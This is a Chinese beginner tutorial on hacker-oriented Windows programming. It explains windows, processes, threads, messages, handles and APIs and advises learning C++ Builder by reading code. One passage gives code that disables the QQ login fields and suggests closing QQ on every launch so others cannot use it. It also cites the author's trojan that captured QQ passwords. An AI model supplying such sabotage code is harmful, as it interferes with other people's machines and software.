似乎是地球人都知道的事儿了,窗口是Windows本身以及Windows 环境下的应用程序的基本界面单位,但是很多人都误以为只有具有标题栏、状态栏、最大化、最小化按钮这样标准的方框才叫窗口。
其实窗口的概念很广,例如按钮和对话框等也是窗口哦,只不过是一种特殊的窗口罢了。
从用户的角度看,窗口就是显示在屏幕上的一个矩形区域,其外观独立于应用程序,事实上它就是生成该窗口的应用程序与用户间的直观接口;从应用程序的角度看,窗口是受其控制的一部分矩形屏幕区。
应用程序生成并控制与窗口有关的一切内容,包括窗口的大小、风格、位置以及窗口内显示的内容等。
用户打开一个应用程序后,程序将创建一个窗口,并在那里默默地等待用户的要求。
每当用户选择窗口中的选项,程序即对此做出响应。
⒉程序:通常说的程序都是指一个能让计算机识别的文件,接触得最多的便是.exe型的可执行文件,这个不难理解。
⒊进程:说到进程,学过《操作系统》的人都很清楚,所谓进程就是应用程序的执行实例(或称一个执行程序)。
需要注意的是:进程是程序动态的描述,而上面说到的程序是静态的描述,两者有本质的区别。
举个例子,从网上Down了一个瑞星杀毒软件到C盘但没有运行,那个.exe 可执行文件叫做程序,它是一个二进制码的文件。
一旦双击了exe文件图标运行程序,那个“正在运行着的瑞星杀毒”便称为进程,它在双击的那一刻被系统创建,当你关机或者在任务栏的图标上单击鼠标右键选“退出”时,进程便消亡,彻底结束了生命。
进程经历了由“创建”到“消亡”的生命期,而程序自始至终存在于你的硬盘上,不管你的机器是否启动。
⒋线程:线程是进程中的一个执行单元,同一个进程中的各个线程对应于一组CPU指令、一组CPU寄存器以及一堆栈。
进程本来就具有动态的含义,然而实质上是通过线程来执行体现的,从这个意义上说,Windows 中进程的动态性意义已经不是很明显了,只算是给程序所占的资源划定一个范围而已(个人观点,纯属个人理解,不必引起争议!),真正具有动态性意义的是线程。
以前在大二学习操作系统课的时候就有个同学跟笔者提起这点,笔者还跟他驳得面红耳赤呢!现在想想,觉得很有道理,不得不佩服那位同学对Windows内部机制了解得如此清楚。
之所以在此花那么多的篇幅说线程,是因为下面将要介绍到多线程编程技巧,如果不理解这点,那就很难应用到实践上,希望大家明白。
⒌消息:我们几乎做每一个动作都会产生一个消息,在用鼠标指点江山的今天,鼠标被移动会产生WM_MOUSEMOVE消息,鼠标左键被按下会产生WM_LBUTTONDOWN的消息,鼠标右键按下便产生WM_RBUTTONDOWN消息等等。
所有的这些都可以通过GetMessage,SendMessage等函数得到,以后的操作中我们会经常接触到这些函数。
⒍事件:何谓事件?从它的字面意思我们就可以明白它的含义,如在程序运行的过程中改变窗口的大小或者移动窗口等,都会触发相应的“事件”。
⒎句柄:单单一个“柄”字便可以解释它的意思了,我们天气热摇扇子的时候只要抓住扇柄便可以控制整个扇子的运动了,在程序中也差不多是这个意思。
通常一个句柄就可以传递我们所要做的事情。
有经验的读者肯定清楚,编写程序总是要和各种句柄打交道的,句柄是系统用来标识不同对象类型的工具,如窗口、菜单等,这些东西在系统中被视为不同类型的对象,用不同的句柄将他们区分开来。
看看C++ 教材中是如何给句柄下定义的:“在Win32里,句柄是指向一个无值型对象(void *)的指针,是一个4字节长的数据”。
虽然我对它的本质是什么还是很迷惑,但我知道句柄并不是一个真正意义上的指针。
从结构上看,句柄的确是一个指针,尽管它没有指向用于存储某个对象的内存位置(很多书都这么说,这正是我的迷惑所在),而实际上句柄指向的是一个包含了对该对象进行的引用的位置。
在编程时,只要抓住了对象的句柄就可以对该对象进行操作了(我在《一个简单木马程序的编写与伪装策略》中说到的对QQ密码的截获就是要找到QQ登陆窗口的句柄后才开始截密行动的)。
下面再举个例子来说明句柄的运用:编一个程序,使QQ登陆窗口的号码框和密码框均变黑,相关代码及解释:void __fastcall TForm1::FormCreate(TObject *Sender){HWND hCurWindow,HC,HE;//定义三个窗口句柄变量,hCurWindow用于存放QQ用户登陆窗口的句柄,HC、HE分别存放号码框和密码框的句柄。
if((hCurWindow= FindWindow(NULL,"QQ用户登录"))!=0||(hCurWindow=FindWindow(NULL,"OICQ用户登录"))!=0){//很明显,调用FindWindow()函数去获得QQ登陆窗口的句柄String str;str.sprintf("0x%x",hCurWindow);}TCHAR wClassName[255];//类名变量HC=GetWindow(hCurWindow, GW_CHILD);//得到号码框的句柄HE=GetWindow(HC, GW_HWNDNEXT);//接着得到密码框的句柄GetClassName(HE, wClassName, sizeof(wClassName));//得到类名GetClassName(HC, wClassName, sizeof(wClassName));//得到类名EnableWindow(HE,false);//使窗口失效EnableWindow(HC,false);//使窗口失效}以上代码在C++ Builder下编译通过,只要运行次程序,QQ登陆窗口的号码框和密码框马上变黑色你还可以添加一个Timer控件,将上面的代码copy到void __fastcall TForm1::Timer1Timer(TObject *Sender)函数中,并在后边加上这一句代码:SendMessage(hCurWindow,WM_CLOSE,0,0); ,?使QQ一启动就关闭,让别人永远也用不了QQ,挺有趣儿的哦⒏API与SDK:API是英文Application Programming Interface 的简称,意为“应用程序接口”,泛指系统为应用程序提供的一系列接口函数。
其实质是程序内的一套函数调用,在编程的时候可以直接调用,而不必知道其内部实现的过程,只知道它的原型和返回值就可以了,此外,手头经常放着一本“Windows API大全”之类的书也是必不可少的,不然你根本不知道哪些API是干什么用的,瞎编也编不出什么东西来。
在后面我们会介绍调用API编程的例子,调用API编程工作虽然烦琐,但由于API函数都被封装在dll库里,程序只有在运行的时候才调用的,因此程序的体积小而且运行效率高。
SDK是英文Software Development Kit 的缩写,指“软件开发工具包”,在防火墙的设计中就经常涉及到SDK。
有关基本的概念就谈这些,那些C/C++的基本语法、什么是面向对象等知识请大家查阅相关的书籍,此类书籍各大书店已汗牛充栋,不再多叙。
下面直接谈谈语种和编程工具的选择问题,这也是初学者们最迷惑的问题。
二、编程语言以及工具的选择:从上面的介绍我们对Windows 有了进一步的了解,现在就该开始行动了,选择要学的语言和工具是第一步,而且是非常重要的一步工作,笔者建议一切以简单、易接受为原则,不然你会自信心大减的,何必偏要跟自己过不去自讨苦吃呢?在开始的时候很多人都感到迷惑,目前的编程语言那么多,有c、c++、c#、java、汇编、html等等,究竟学哪些好呢?最开始我该学什么呢?甚至有人将vc、c++ builder也列为两种不同的语言!这些都是对编程语言缺乏了解造成的。
笔者开始的时候也犯过同样的错误,曾经给自己写过一份计划书:先学c语言,接着学c++、c#、java、汇编、vb、vc、c++ builder……,哪一种语言用多少时间去专攻等等,现在回想起来觉得多么的可笑!只要学得精,一门就够了。
从实用的角度来讲,C++ 是最好的选择(个人意见,其实每一种语言都很好),而VC 和C++ Builder是其相应开发工具的两大主流,笔者极力推荐初学者使用C++ Builder,因为很容易上手,如果一下子就用VC的话,也许会打击你的自信心:)。
三、谈谈促进编程能力提高的两个途径如果你是一个黑客技术的狂热者的话,到雅虎去搜索黑客教程的时候就会发现,很多的中文教程在谈到如何进行黑客编程时,十有八九都会介绍以下两大最佳途径:一、读程序;二、写程序,并且都提出了教程作者的看法,下面我想谈谈这方面的个人观点。
⒈读程序:我将读程序放在前面是有原因的。
在你没有阅读过一份完整的源代码之前,你别指望能写出有多好的程序来!这是对每一位初学者的忠告也是警告,而且必须具备一定的语言基础知识,这里的基础知识主要是指语法知识,最起码要能读懂别人的程序的每一行意思。
有没有程序的设计思想,在这个时期并不重要,只要具备一定的语法基础就可以了,思想可以通过阅读完别人的源程序后分析得来。
记得在大一学习C语言的时候,我们都很重视语法的学习,整天都看教材、做练习,而且赶在老师的讲课前预习,课后又复习巩固,将一些语法点记得滚瓜烂熟,可后来一到做课程设计的时候,坐在电脑面前简直是老鼠拖鸡蛋—无从下手了,而且不断的问自己:“我平时的努力哪去了?语法都会了呀,怎么还是做不出程序来?”相信很多人都像笔者以前那样,错误地以为学会了语法就等于掌握了编程。
编程的能力包括经验、技巧、耐心等几个因素,而并非想象中的那样简单,更不要以为编程就是简简单单的写程序!其实学一门语言并不需要刻意去记那些条条框框的语法,在看代码的时候,遇到了不明白的地方再去查相关的资料,一点一点补充基础知识再配合源程序的思路,这时的理解才是最深刻的,我可以肯定地说,这个时候对语法的接受程度绝对比你刚开始时的死记要强!读程序也不能单纯地读,要真正做到“俯而读,昂而思”。